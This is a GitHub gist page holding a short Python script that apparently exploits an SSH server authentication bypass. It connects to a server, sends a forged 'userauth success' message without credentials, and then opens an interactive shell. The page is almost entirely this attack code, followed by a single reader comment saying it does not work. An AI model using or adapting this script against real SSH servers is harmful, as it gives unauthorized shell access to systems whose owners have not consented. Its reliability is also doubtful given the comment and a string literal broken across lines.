Created
October 17, 2018 13:23
-
-
Save Daviey/5198b4c4d7b6f5dbcdd35ac3e21a45db to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import paramiko | |
import socket | |
import sys | |
nbytes = 4096 | |
hostname = "127.0.0.1" | |
port = 2222 | |
sock = socket.socket() | |
try: | |
sock.connect((hostname, port)) | |
# instantiate transport | |
m = paramiko.message.Message() | |
transport = paramiko.transport.Transport(sock) | |
transport.start_client() | |
m.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS) | |
transport._send_message(m) | |
cmd_channel = transport.open_session() | |
cmd_channel.invoke_shell() | |
except socket.error: | |
print '[-] Connecting to host failed. Please check the specified | |
host and port.' | |
sys.exit(1) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Does not work